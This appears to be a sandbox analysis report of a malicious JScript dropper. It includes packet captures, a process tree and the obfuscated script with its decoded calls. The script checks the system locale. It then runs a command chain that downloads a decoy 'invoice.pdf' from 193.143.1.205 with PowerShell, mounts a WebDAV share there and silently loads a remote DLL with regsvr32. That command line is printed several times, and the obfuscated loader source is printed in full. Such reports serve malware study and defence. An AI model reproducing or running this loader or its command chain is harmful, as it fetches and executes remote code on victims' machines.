Jan 10, 2025 17:58:26.130140066 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 17:58:26.130151987 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 17:58:26.130163908 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 17:58:26.130175114 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 17:58:26.130187035 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 17:58:26.130198956 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 17:58:26.135102034 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	193.143.1.205	8888	5004	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:58:28.760481119 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:58:29.569258928 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:58:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:58:19
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js"
Imagebase:	0x7ff6bef10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:58:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll
Imagebase:	0x7ff7a2d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:58:20
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:58:20
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:58:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:58:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a2d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:58:28
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b0d20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:58:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:58:29
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:58:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1528,i,2606910405970676168,4803394523659336682,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function zlpelqs() {	zlpelqs() ➔ undefined
1	efhcdu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hntcaz = this[sywkfmcr + xoitj + xyxrjkpyr + gcuiftt + xafqwk + nctnntq + mlntv + kpvhk] ( this[gvtvzhyy + zchcswmx + qrlfqtta + xyxrjkpyr + foohqf + sywkfmcr + kpvhk][arjiqt + xyxrjkpyr + xafqwk + xoitj + kpvhk + xafqwk + yduwbjp + qaqdeh + bhgpsmqsg + xafqwk + qrlfqtta + kpvhk] ( gvtvzhyy + zchcswmx + qrlfqtta + xyxrjkpyr + foohqf + sywkfmcr + kpvhk + cmmjxidz + zchcswmx + gwtkco + xafqwk + csebbqiv + csebbqiv ) [xbfdqk + xafqwk + svmwhz + xbfdqk + xafqwk + xoitj + fuqqxao] ( dgiyzvs + dveri + pvayceff + nkfsec + gecygrmz + arjiqt + lxvvpil + xbfdqk + xbfdqk + pvayceff + zxornkclu + iwlhcv + gecygrmz + lxvvpil + zchcswmx + pvayceff + xbfdqk + pmobe + arjiqt + lqadg + mlntv + kpvhk + xyxrjkpyr + lqadg + csebbqiv + tmxnuws + vroud + xoitj + mlntv + xafqwk + csebbqiv + pmobe + nctnntq + mlntv + kpvhk + xafqwk + xyxrjkpyr + mlntv + xoitj + kpvhk + foohqf + lqadg + mlntv + xoitj + csebbqiv + pmobe + sxrnfvp + lqadg + qrlfqtta + xoitj + csebbqiv + xafqwk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rwsyffr = 0 ; rwsyffr < efhcdu[csebbqiv + xafqwk + mlntv + svmwhz + kpvhk + gwtkco] ; ++ rwsyffr )
4	{
5	if ( hntcaz == efhcdu[rwsyffr] )
6	{
7	hntcaz = true;
8	break ;
9	}
10	}
11	if ( hntcaz !== true )
12	this[gvtvzhyy + zchcswmx + qrlfqtta + xyxrjkpyr + foohqf + sywkfmcr + kpvhk][glqrieqem + ynmylqyf + foohqf + kpvhk] ( );
13	this[gvtvzhyy + zchcswmx + qrlfqtta + xyxrjkpyr + foohqf + sywkfmcr + kpvhk][arjiqt + xyxrjkpyr + xafqwk + xoitj + kpvhk + xafqwk + yduwbjp + qaqdeh + bhgpsmqsg + xafqwk + qrlfqtta + kpvhk] ( gvtvzhyy + zchcswmx + qrlfqtta + xyxrjkpyr + foohqf + sywkfmcr + kpvhk + cmmjxidz + zchcswmx + gwtkco + xafqwk + csebbqiv + csebbqiv ) [xyxrjkpyr + ynmylqyf + mlntv] ( qrlfqtta + dldmbsjq + fuqqxao + tmxnuws + hnjtynom + qrlfqtta + tmxnuws + sywkfmcr + lqadg + hxqfk + xafqwk + xyxrjkpyr + gcuiftt + gwtkco + xafqwk + csebbqiv + csebbqiv + cmmjxidz + xafqwk + ytolsh + xafqwk + tmxnuws + myehf + arjiqt + lqadg + dldmbsjq + dldmbsjq + xoitj + mlntv + fuqqxao + tmxnuws + icgyy + nctnntq + mlntv + itfnhvjy + lqadg + trjqa + xafqwk + myehf + gvtvzhyy + xafqwk + qaqdeh + xbfdqk + xafqwk + tokqkdwa + ynmylqyf + xafqwk + gcuiftt + kpvhk + tmxnuws + myehf + yduwbjp + ynmylqyf + kpvhk + tbqizwpii + foohqf + csebbqiv + xafqwk + tmxnuws + oumizgwab + kpvhk + xafqwk + dldmbsjq + sywkfmcr + oumizgwab + pmobe + foohqf + mlntv + itfnhvjy + lqadg + foohqf + qrlfqtta + xafqwk + cmmjxidz + sywkfmcr + fuqqxao + wtywybiu + tmxnuws + gwtkco + kpvhk + kpvhk + sywkfmcr + nfubuh + hnjtynom + hnjtynom + yymrfzawr + tpvsjdt + naaqbc + cmmjxidz + yymrfzawr + revsytf + naaqbc + cmmjxidz + yymrfzawr + cmmjxidz + ohqxsro + edvlz + cnspj + hnjtynom + foohqf + mlntv + itfnhvjy + lqadg + foohqf + qrlfqtta + xafqwk + cmmjxidz + sywkfmcr + gwtkco + sywkfmcr + icgyy + sizoi + sizoi + gcuiftt + kpvhk + xoitj + xyxrjkpyr + kpvhk + tmxnuws + oumizgwab + kpvhk + xafqwk + dldmbsjq + sywkfmcr + oumizgwab + pmobe + foohqf + mlntv + itfnhvjy + lqadg + foohqf + qrlfqtta + xafqwk + cmmjxidz + sywkfmcr + fuqqxao + wtywybiu + sizoi + sizoi + qrlfqtta + dldmbsjq + fuqqxao + tmxnuws + hnjtynom + qrlfqtta + tmxnuws + mlntv + xafqwk + kpvhk + tmxnuws + ynmylqyf + gcuiftt + xafqwk + tmxnuws + pmobe + pmobe + yymrfzawr + tpvsjdt + naaqbc + cmmjxidz + yymrfzawr + revsytf + naaqbc + cmmjxidz + yymrfzawr + cmmjxidz + ohqxsro + edvlz + cnspj + euztfuwm + ncedminsx + ncedminsx + ncedminsx + ncedminsx + pmobe + fuqqxao + xoitj + itfnhvjy + hxqfk + hxqfk + hxqfk + xyxrjkpyr + lqadg + lqadg + kpvhk + pmobe + sizoi + sizoi + qrlfqtta + dldmbsjq + fuqqxao + tmxnuws + hnjtynom + qrlfqtta + tmxnuws + xyxrjkpyr + xafqwk + svmwhz + gcuiftt + itfnhvjy + xyxrjkpyr + naaqbc + ohqxsro + tmxnuws + hnjtynom + gcuiftt + tmxnuws + pmobe + pmobe + yymrfzawr + tpvsjdt + naaqbc + cmmjxidz + yymrfzawr + revsytf + naaqbc + cmmjxidz + yymrfzawr + cmmjxidz + ohqxsro + edvlz + cnspj + euztfuwm + ncedminsx + ncedminsx + ncedminsx + ncedminsx + pmobe + fuqqxao + xoitj + itfnhvjy + hxqfk + hxqfk + hxqfk + xyxrjkpyr + lqadg + lqadg + kpvhk + pmobe + yymrfzawr + sciggzme + sciggzme + revsytf + ncedminsx + ohqxsro + edvlz + yymrfzawr + wdvfx + revsytf + yymrfzawr + naaqbc + naaqbc + edvlz + revsytf + cmmjxidz + fuqqxao + csebbqiv + csebbqiv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll",0,false) ➔ 0
14	}
15	nctnntq = "T";
16	nctnntq = "r";
17	nctnntq = "Q";
18	nctnntq = "R";
19	nctnntq = "t";
20	nctnntq = "z";
21	nctnntq = "n";
22	nctnntq = "f";
23	nctnntq = "Y";
24	nctnntq = "B";
25	nctnntq = "I";
26	nctnntq = "Q";
27	nctnntq = "A";
28	nctnntq = "b";
29	nctnntq = "G";
30	nctnntq = "z";
31	nctnntq = "Q";
32	nctnntq = "i";
33	nctnntq = "O";
34	nctnntq = "z";
35	nctnntq = "x";
36	nctnntq = "z";
37	nctnntq = "d";
38	nctnntq = "Z";
39	nctnntq = "K";
40	nctnntq = "F";
41	nctnntq = "C";
42	nctnntq = "y";
43	nctnntq = "r";
44	nctnntq = "T";
45	nctnntq = "t";
46	nctnntq = "G";
47	nctnntq = "k";
48	nctnntq = "y";
49	nctnntq = "E";
50	nctnntq = "y";
51	nctnntq = "Q";
52	nctnntq = "p";
53	nctnntq = "x";
54	nctnntq = "i";
55	nctnntq = "m";
56	nctnntq = "V";
57	nctnntq = "I";
58	hnjtynom = "e";
59	hnjtynom = "g";
60	hnjtynom = "G";
61	hnjtynom = "B";
62	hnjtynom = "p";
63	hnjtynom = "Y";
64	hnjtynom = "i";
65	hnjtynom = "E";
66	hnjtynom = "z";
67	hnjtynom = "O";
68	hnjtynom = "y";
69	hnjtynom = "D";
70	hnjtynom = "H";
71	hnjtynom = "R";
72	hnjtynom = "/";
73	gwtkco = "h";
74	qaqdeh = "l";
75	qaqdeh = "T";
76	qaqdeh = "e";
77	qaqdeh = "P";
78	qaqdeh = "z";
79	qaqdeh = "z";
80	qaqdeh = "z";
81	qaqdeh = "q";
82	qaqdeh = "e";
83	qaqdeh = "T";
84	qaqdeh = "u";
85	qaqdeh = "R";
86	qaqdeh = "s";
87	qaqdeh = "w";
88	qaqdeh = "i";
89	qaqdeh = "u";
90	qaqdeh = "P";
91	qaqdeh = "b";
92	xbfdqk = "F";
93	xbfdqk = "O";
94	xbfdqk = "p";
95	xbfdqk = "D";
96	xbfdqk = "O";
97	xbfdqk = "c";
98	xbfdqk = "X";
99	xbfdqk = "p";
100	xbfdqk = "i";
101	xbfdqk = "j";
102	xbfdqk = "A";
103	xbfdqk = "a";
104	xbfdqk = "R";
105	fuqqxao = "O";
106	fuqqxao = "q";
107	fuqqxao = "Z";
108	fuqqxao = "B";
109	fuqqxao = "T";
110	fuqqxao = "n";
111	fuqqxao = "X";
112	fuqqxao = "P";
113	fuqqxao = "J";
114	fuqqxao = "N";
115	fuqqxao = "I";
116	fuqqxao = "y";
117	fuqqxao = "l";
118	fuqqxao = "S";
119	fuqqxao = "A";
120	fuqqxao = "j";
121	fuqqxao = "D";
122	fuqqxao = "d";
123	fuqqxao = "i";
124	fuqqxao = "i";
125	fuqqxao = "I";
126	fuqqxao = "f";
127	fuqqxao = "O";
128	fuqqxao = "Y";
129	fuqqxao = "t";
130	fuqqxao = "g";
131	fuqqxao = "m";
132	fuqqxao = "Z";
133	fuqqxao = "r";
134	fuqqxao = "Y";
135	fuqqxao = "I";
136	fuqqxao = "d";
137	gvtvzhyy = "R";
138	gvtvzhyy = "M";
139	gvtvzhyy = "W";
140	tpvsjdt = "Z";
141	tpvsjdt = "L";
142	tpvsjdt = "N";
143	tpvsjdt = "a";
144	tpvsjdt = "T";
145	tpvsjdt = "I";
146	tpvsjdt = "b";
147	tpvsjdt = "Z";
148	tpvsjdt = "c";
149	tpvsjdt = "o";
150	tpvsjdt = "W";
151	tpvsjdt = "I";
152	tpvsjdt = "c";
153	tpvsjdt = "9";
154	naaqbc = "j";
155	naaqbc = "A";
156	naaqbc = "g";
157	naaqbc = "X";
158	naaqbc = "F";
159	naaqbc = "o";
160	naaqbc = "r";
161	naaqbc = "N";
162	naaqbc = "k";
163	naaqbc = "r";
164	naaqbc = "h";
165	naaqbc = "D";
166	naaqbc = "G";
167	naaqbc = "H";
168	naaqbc = "A";
169	naaqbc = "N";
170	naaqbc = "x";
171	naaqbc = "p";
172	naaqbc = "I";
173	naaqbc = "V";
174	naaqbc = "i";
175	naaqbc = "3";
176	dldmbsjq = "C";
177	dldmbsjq = "r";
178	dldmbsjq = "N";
179	dldmbsjq = "t";
180	dldmbsjq = "t";
181	dldmbsjq = "L";
182	dldmbsjq = "a";
183	dldmbsjq = "g";
184	dldmbsjq = "m";
185	dldmbsjq = "m";
186	wdvfx = "M";
187	wdvfx = "g";
188	wdvfx = "O";
189	wdvfx = "b";
190	wdvfx = "s";
191	wdvfx = "c";
192	wdvfx = "E";
193	wdvfx = "I";
194	wdvfx = "I";
195	wdvfx = "I";
196	wdvfx = "y";
197	wdvfx = "7";
198	sciggzme = "R";
199	sciggzme = "N";
200	sciggzme = "C";
201	sciggzme = "6";
202	lqadg = "c";
203	lqadg = "V";
204	lqadg = "Z";
205	lqadg = "O";
206	lqadg = "w";
207	lqadg = "R";
208	lqadg = "d";
209	lqadg = "Z";
210	lqadg = "T";
211	lqadg = "E";
212	lqadg = "z";
213	lqadg = "Z";
214	lqadg = "W";
215	lqadg = "S";
216	lqadg = "f";
217	lqadg = "S";
218	lqadg = "R";
219	lqadg = "j";
220	lqadg = "b";
221	lqadg = "w";
222	lqadg = "g";
223	lqadg = "x";
224	lqadg = "y";
225	lqadg = "h";
226	lqadg = "A";
227	lqadg = "o";
228	gecygrmz = "O";
229	gecygrmz = "U";
230	gecygrmz = "v";
231	gecygrmz = "k";
232	gecygrmz = "u";
233	gecygrmz = "z";
234	gecygrmz = "p";
235	gecygrmz = "e";
236	gecygrmz = "b";
237	gecygrmz = "i";
238	gecygrmz = "d";
239	gecygrmz = "v";
240	gecygrmz = "W";
241	gecygrmz = "D";
242	gecygrmz = "L";
243	gecygrmz = "n";
244	gecygrmz = "S";
245	gecygrmz = "o";
246	gecygrmz = "w";
247	gecygrmz = "U";
248	gecygrmz = "d";
249	gecygrmz = "z";
250	gecygrmz = "Z";
251	gecygrmz = "M";
252	gecygrmz = "f";
253	gecygrmz = "m";
254	gecygrmz = "p";
255	gecygrmz = "I";
256	gecygrmz = "e";
257	gecygrmz = "E";
258	gecygrmz = "J";
259	gecygrmz = "r";
260	gecygrmz = "U";
261	gecygrmz = "C";
262	gecygrmz = "S";
263	gecygrmz = "N";
264	gecygrmz = "_";
265	kpvhk = "b";
266	kpvhk = "B";
267	kpvhk = "c";
268	kpvhk = "U";
269	kpvhk = "n";
270	kpvhk = "O";
271	kpvhk = "N";
272	kpvhk = "J";
273	kpvhk = "I";
274	kpvhk = "s";
275	kpvhk = "O";
276	kpvhk = "R";
277	kpvhk = "q";
278	kpvhk = "s";
279	kpvhk = "P";
280	kpvhk = "D";
281	kpvhk = "n";
282	kpvhk = "Q";
283	kpvhk = "Q";
284	kpvhk = "K";
285	kpvhk = "Z";
286	kpvhk = "H";
287	kpvhk = "M";
288	kpvhk = "d";
289	kpvhk = "M";
290	kpvhk = "n";
291	kpvhk = "j";
292	kpvhk = "j";
293	kpvhk = "o";
294	kpvhk = "F";
295	kpvhk = "D";
296	kpvhk = "z";
297	kpvhk = "K";
298	kpvhk = "d";
299	kpvhk = "v";
300	kpvhk = "R";
301	kpvhk = "t";
302	svmwhz = "w";
303	svmwhz = "X";
304	svmwhz = "H";
305	svmwhz = "I";
306	svmwhz = "B";
307	svmwhz = "T";
308	svmwhz = "g";
309	gcuiftt = "l";
310	gcuiftt = "L";
311	gcuiftt = "i";
312	gcuiftt = "K";
313	gcuiftt = "R";
314	gcuiftt = "E";
315	gcuiftt = "F";
316	gcuiftt = "y";
317	gcuiftt = "c";
318	gcuiftt = "B";
319	gcuiftt = "u";
320	gcuiftt = "N";
321	gcuiftt = "s";
322	iwlhcv = "o";
323	iwlhcv = "W";
324	iwlhcv = "B";
325	iwlhcv = "C";
326	iwlhcv = "O";
327	iwlhcv = "z";
328	iwlhcv = "J";
329	iwlhcv = "R";
330	iwlhcv = "E";
331	iwlhcv = "Q";
332	iwlhcv = "M";
333	iwlhcv = "f";
334	iwlhcv = "s";
335	iwlhcv = "I";
336	iwlhcv = "m";
337	iwlhcv = "T";
338	iwlhcv = "S";
339	iwlhcv = "k";
340	iwlhcv = "u";
341	iwlhcv = "J";
342	iwlhcv = "W";
343	iwlhcv = "W";
344	iwlhcv = "p";
345	iwlhcv = "a";
346	iwlhcv = "T";
347	iwlhcv = "d";
348	iwlhcv = "g";
349	iwlhcv = "Z";
350	iwlhcv = "K";
351	iwlhcv = "D";
352	iwlhcv = "K";
353	iwlhcv = "X";
354	iwlhcv = "I";
355	iwlhcv = "A";
356	iwlhcv = "T";
357	oumizgwab = "G";
358	oumizgwab = "Q";
359	oumizgwab = "j";
360	oumizgwab = "O";
361	oumizgwab = "L";
362	oumizgwab = "U";
363	oumizgwab = "A";
364	oumizgwab = "G";
365	oumizgwab = "p";
366	oumizgwab = "W";
367	oumizgwab = "U";
368	oumizgwab = "j";
369	oumizgwab = "e";
370	oumizgwab = "x";
371	oumizgwab = "V";
372	oumizgwab = "k";
373	oumizgwab = "X";
374	oumizgwab = "U";
375	oumizgwab = "p";
376	oumizgwab = "D";
377	oumizgwab = "y";
378	oumizgwab = "f";
379	oumizgwab = "M";
380	oumizgwab = "L";
381	oumizgwab = "Q";
382	oumizgwab = "%";
383	xafqwk = "b";
384	xafqwk = "U";
385	xafqwk = "Y";
386	xafqwk = "b";
387	xafqwk = "i";
388	xafqwk = "w";
389	xafqwk = "G";
390	xafqwk = "o";
391	xafqwk = "F";
392	xafqwk = "W";
393	xafqwk = "w";
394	xafqwk = "r";
395	xafqwk = "T";
396	xafqwk = "i";
397	xafqwk = "A";
398	xafqwk = "s";
399	xafqwk = "B";
400	xafqwk = "i";
401	xafqwk = "Y";
402	xafqwk = "U";
403	xafqwk = "G";
404	xafqwk = "k";
405	xafqwk = "k";
406	xafqwk = "e";
407	xafqwk = "b";
408	xafqwk = "G";
409	xafqwk = "m";
410	xafqwk = "e";
411	qrlfqtta = "v";
412	qrlfqtta = "a";
413	qrlfqtta = "p";
414	qrlfqtta = "j";
415	qrlfqtta = "S";
416	qrlfqtta = "a";
417	qrlfqtta = "g";
418	qrlfqtta = "S";
419	qrlfqtta = "O";
420	qrlfqtta = "g";
421	qrlfqtta = "Y";
422	qrlfqtta = "f";
423	qrlfqtta = "X";
424	qrlfqtta = "v";
425	qrlfqtta = "h";
426	qrlfqtta = "e";
427	qrlfqtta = "e";
428	qrlfqtta = "L";
429	qrlfqtta = "L";
430	qrlfqtta = "O";
431	qrlfqtta = "G";
432	qrlfqtta = "M";
433	qrlfqtta = "Y";
434	qrlfqtta = "b";
435	qrlfqtta = "V";
436	qrlfqtta = "X";
437	qrlfqtta = "D";
438	qrlfqtta = "w";
439	qrlfqtta = "a";
440	qrlfqtta = "p";
441	qrlfqtta = "T";
442	qrlfqtta = "X";
443	qrlfqtta = "o";
444	qrlfqtta = "h";
445	qrlfqtta = "o";
446	qrlfqtta = "N";
447	qrlfqtta = "P";
448	qrlfqtta = "N";
449	qrlfqtta = "w";
450	qrlfqtta = "P";
451	qrlfqtta = "p";
452	qrlfqtta = "k";
453	qrlfqtta = "T";
454	qrlfqtta = "d";
455	qrlfqtta = "c";
456	lxvvpil = "X";
457	lxvvpil = "Q";
458	lxvvpil = "t";
459	lxvvpil = "E";
460	lxvvpil = "s";
461	lxvvpil = "E";
462	lxvvpil = "p";
463	lxvvpil = "r";
464	lxvvpil = "I";
465	lxvvpil = "Q";
466	lxvvpil = "e";
467	lxvvpil = "V";
468	lxvvpil = "C";
469	lxvvpil = "G";
470	lxvvpil = "f";
471	lxvvpil = "h";
472	lxvvpil = "O";
473	lxvvpil = "l";
474	lxvvpil = "u";
475	lxvvpil = "L";
476	lxvvpil = "k";
477	lxvvpil = "C";
478	lxvvpil = "F";
479	lxvvpil = "g";
480	lxvvpil = "U";
481	hxqfk = "N";
482	hxqfk = "j";
483	hxqfk = "O";
484	hxqfk = "a";
485	hxqfk = "r";
486	hxqfk = "F";
487	hxqfk = "i";
488	hxqfk = "f";
489	hxqfk = "i";
490	hxqfk = "f";
491	hxqfk = "B";
492	hxqfk = "p";
493	hxqfk = "e";
494	hxqfk = "M";
